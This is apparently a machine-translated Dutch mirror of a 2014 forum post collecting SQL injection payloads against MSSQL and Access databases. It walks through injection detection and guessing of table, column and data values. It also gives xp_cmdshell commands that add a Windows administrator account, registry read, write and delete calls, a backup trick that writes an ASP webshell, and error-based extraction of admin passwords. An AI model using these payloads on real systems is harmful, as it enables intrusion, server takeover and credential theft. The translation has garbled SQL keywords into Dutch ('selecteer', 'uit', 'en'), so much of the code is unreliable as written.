Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 14167|Antwoord: 0

[Veilige communicatie] Veelvoorkomende SQL-injectiestatements

[Link kopiëren]
Geplaatst op 22-11-2014 17:17:21 | | |
1. Bepalen of er een injectie is
; en 1=1
; en 1=2

2. Voorlopige beoordeling of het mssql is
; en user>0

3. Beoordeel het databasesysteem
; en (selecteer aantal(*) uit sysobjects)>0 mssql
; en (selecteer aantal(*) uit msysobjects)>0 toegang

4. De injectieparameter is een karakter
'en [querycriteria] en ''='

5. Er zijn geen gefilterde parameters tijdens de zoektocht
'en [querycriteria] en '%25'='

6. Raad de naam van de tafel
; en (selecteer Count(*) uit [tabelnaam])>0

7. Raad het veld
; en (selecteer Count (veldnaam) uit tabelnaam)>0

8. Raad de lengte van het record in het veld
; en (selecteer top 1 len(veldnaam) uit tabelnaam)>0

9. (1) Raad de ASCII-waarde van het veld (toegang)
; en (selecteer top 1 ASC(mid(field name, 1,1)) uit tabelnaam)>0

(2) Raad de ASCII-waarde van het veld (mssql)
; en (selecteer de bovenste 1 unicode(substring(veldnaam,1,1)) uit tabelnaam)>0

10. Testrechtenstructuur (mssql)
; en 1=(selecteer IS_SRVROLEMEMBER('sysadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('serveradmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('setupadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('securityadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('diskadmin')); --
; en 1=(selecteer IS_SRVROLEMEMBER('bulkadmin')); --
; en 1=(selecteer IS_MEMBER('db_owner')); --

11. Voeg een account toe voor mssql en het systeem
; exec master.dbo.sp_addlogin gebruikersnaam; --
; exec master.dbo.sp_password null, gebruikersnaam, wachtwoord; --
; exec master.dbo.sp_addsrvrolemember sysadmin gebruikersnaam; --
; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:ja /add'; --
; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators gebruikersnaam /add'; --

12. (1) Doorloop de catalogus
; Maak tabel dirs aan (paths varchar(100), id int)
; Vul dirs executive in master.dbo.xp_dirtree 'c:\'
; en (selecteer top 1 paden van dirs)>0
; en (selecteer top 1 paden uit dirs waar paden niet in zitten ('paden verkregen uit de vorige stap'))>)

(2) De catalogus doorlopen
; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert Temp Executive master.dbo.xp_availablemedia; -- Alle stroomaandrijvingen ophalen
; Invoegen in temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Krijg een lijst met subdirectories
; Invoegen in temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Haal de directoryboomstructuur op voor alle submappen
; Invoegen in temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Bekijk de inhoud van het bestand

13. Opgeslagen procedures in mssql
xp_regenumvalues Registersleutel, kindsleutel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' geeft alle sleutelwaarden terug in meerdere recordsets
xp_regread Root-sleutel, kindsleutel, sleutel-waarde naam
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' geeft de waarde van de set key terug
xp_regwrite Root-sleutel, kindsleutel, waardenaam, waardetype, waarde
Er zijn twee soorten waardetypen REG_SZ REG_DWORD voor tekentypes en voor gehele getallen
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' naar het register
xp_regdeletevalue Root-sleutel, sub-sleutel, waardenaam
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' om een waarde te verwijderen
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' om de sleutel te verwijderen, inclusief alle waarden onder die sleutel

14. MSSQL Backup maakt een webshell aan
Gebruik Model
maak table cmd (STR-afbeelding);
invoegen in cmd(str)-waarden ('<% Dim oScript %>');
back-up databasemodel naar schijf='c:\l.asp';

15. ingebouwde MSSQL-functies
; en (selecteer @@version)>0 om het versienummer van Windows te krijgen
; en user_name()='dbo' om te bepalen of de aangesloten gebruiker van het huidige systeem SA is
; en (selecteer user_name())>0 Explodeerden de verbonden gebruikers van het huidige systeem
; en (selecteer db_name())>0 om de momenteel verbonden database te krijgen



MSSQL handgeannoteerde databaseovertreding

1. Toon de huidige tabelnaam en kolomnaam
Dien "'having 1=1--" in na het injectiepunt om het retourbericht in het Engels te ontvangen, waarin je een tabelnaam en een kolomnaam kunt zien. Dien "group by the listname with with 1=1--" in om een andere kolomnaam te krijgen; Blijf "groeperen" indienen op basis van de lijst met de naam van de blootgestelde tabel, de naam van de blootgestelde tabel. De tweede kolomnaam heeft 1=1--", wat je een andere kolomnaam geeft. Commit op dezelfde manier totdat de pagina geen foutmeldingen meer teruggeeft om alle kolomnamen te krijgen. Trivia: Gewelddadige tabelnamen en kolomnamen worden in combinatie met GROUP BY gebruikt in SQL-statements om conditionele oordelen te maken. Omdat de instructie onvolledig is, geeft de database een foutmelding terug en toont een tabelnaam en een kolomnaam. De basismethode kan alleen de huidige tabel in de database weergeven, en als een tabel veel kolomnamen bevat, is het erg moeilijk om de basismethode te gebruiken.

Ten eerste. Alle databasenamen worden blootgesteld
Gebruik de instructie "and 0<>(select count(*) from master.dbo.sysdatabases waarbij name>1 en dbid=[N])" om willekeurige tabelnamen en kolomnamen in de database te tonen, waarbij "[N]" de N-de tabel in de database vertegenwoordigt.
Stap 1: Na het injecteren van het punt dient u de volgende instructie in: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", omdat de waarde van dbid van 1 tot 5 ligt, wat door het systeem wordt gebruikt, dus de gebruiker moet het vanaf 6 hebben gebouwd en we hebben de naam ingediend>1, het naamveld is een tekentypeveld, en de getallenvergelijking zal verkeerd zijn, dus na het indienen geeft IE de volgende informatie terug: "Microsoft OLE DB Provider for ODBC Drivers fout ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] zet nvarchar-waarde 'Northwind' om naar datatype int kolom. Op deze manier wordt de waarde van het naamveld blootgesteld, dat wil zeggen, we krijgen een databasenaam "Northwind". Door de waarde van "dbid" te wijzigen, kunnen alle databasenamen worden opgehaald.

en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=[N])-- Wijzig N zodat alle databasenamen uit 6 worden opgeblazen


Ten tweede. Maak alle tabelnamen in de opgegeven database openbaar
Nadat je de databasenaam hebt gekregen, moet je nu alle tabelnamen in de bibliotheek ophalen, de volgende instructie indienen: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", hier is de tabelnaam in de masterdatabase, en de SQL-instructie van de query geeft de waarde van naam terug, en vergelijk deze vervolgens met het getal 0, zodat de waarde van naam wordt blootgesteld. Na het indienen werd de naam van de tafel "'spt_monito" onthuld.
Vervolgens worden de andere tabellen blijkbaar gesteld, en wordt de volgende instructie ingediend: "and 0<>(selecteer de naam top 1 uit master.dbo.sysobjects waarbij xtype='U' en naam niet in('spt_monito')), en een andere tabel genaamd "cd512" wordt blootgesteld. Bestand "en naam niet in(' spt_monito',' CD512',..))" Je kunt alle tafelnamen vinden.

en 0<>(selecteer de bovenste naam 1 uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U')--
en 0<>(selecteer de top 1 naam uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en naam niet in('[Exploded table name]'))--
en 0<>(selecteer de top 1 naam uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en naam niet in('[Explosieve tabelnaam]', '[Explodeerde tweede tabelnaam]')))--

4. Maak alle kolomnamen in de opgegeven tabel openbaar
en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waarbij xtype='U' en name='admin' en uid>(str(id)))
Zet de ID-waarde om naar een tekentype en vergelijk deze vervolgens met een geheel getal. Het ID-nummer is eruit. De waarde is: 949578421 naam='tabelnaam'

en 0<>(selecteer de naam top 1 uit wutong.dbo.syscolumns waarbij id=949578421)-- Een veldnaam in de beheertabel wordt blootgesteld

opnieuw verzenden en 0<>(selecteer de bovenste naam 1 uit wutong.dbo.syscolumns waarbij id=949578421 en naam niet in('adduser')))--
Bestand "en naam niet in(' spt_monito',' CD512',..))" Je kunt alle veldnamen vinden in de beheer-tabel.


en 0<>(selecteer count(*) uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en name='[Tabelnaam van het veld dat explodeert]' en uid>(str(id)))--De ID-waarde van de tabelnaam van het veld dat explodeert

en 0<>(selecteer de bovenste 1-naam uit [specificeer databasenaam].dbo.syscolumns waarbij id=geëxplodeerde id-waarde)-- De naam van een veld in de exploderende id-waarde tabel

en 0<>(selecteer de bovenste naam 1 uit [specificeer databasenaam].dbo.syscolumns waarbij id=Explosieve id-waarde en naam niet in('[Exploded field name]')))--



5. Lees de gegevens in de gespecificeerde tabel

en 0<(selecteer A_ID van wutong.dbo.admin waar A_UserID>1) -- de inhoud die A_PWD

en 0<(selecteer [een veld dat bestaat] uit [specificeer databasenaam].dbo.[tabelnaam naar query] waarbij [veldnaam om inhoud te laten exploderen]>1)--

en 0<(selecteer A_ID van wutong.dbo.admin waar A_PWD>1 en A_UserID='admin')-- Het wachtwoord van de admin wordt onthuld


en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID<>1)-- De naam van de beheerder id<>1 (fuhao)

en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID <>1 en A_UserID <> 'fuhao')-- De naam van de tweede admin <> niet gelijk aan (tuiguang)

en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID <>1 en A_UserID <> 'fuhao' en A_UserID <> 'tuiguang')--

Nadat je de tabelnaam en kolomnaam van de database kent, kun je de "query-instructie" gebruiken om alle informatie in de database te lezen. Als je bijvoorbeeld de N-de data in een kolom in een tabel wilt lezen, kun je de instructie indienen: "en (Selecteer de naam van de Top 1-kolom UIT de tabelnaam waarbij id=[N])>1" ([N] vertegenwoordigt de N-de data in de kolom), en je kunt de gewenste data kennen uit de informatie die door IE wordt teruggegeven.






Vorig:Hoe verberg je een gecomprimeerd rar-bestand in een jpg-bestand
Volgend:Verzamel "Harry Potter" 1~7 Haal het eruit en deel Het Als je het niet mooi vindt, spray het dan niet
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com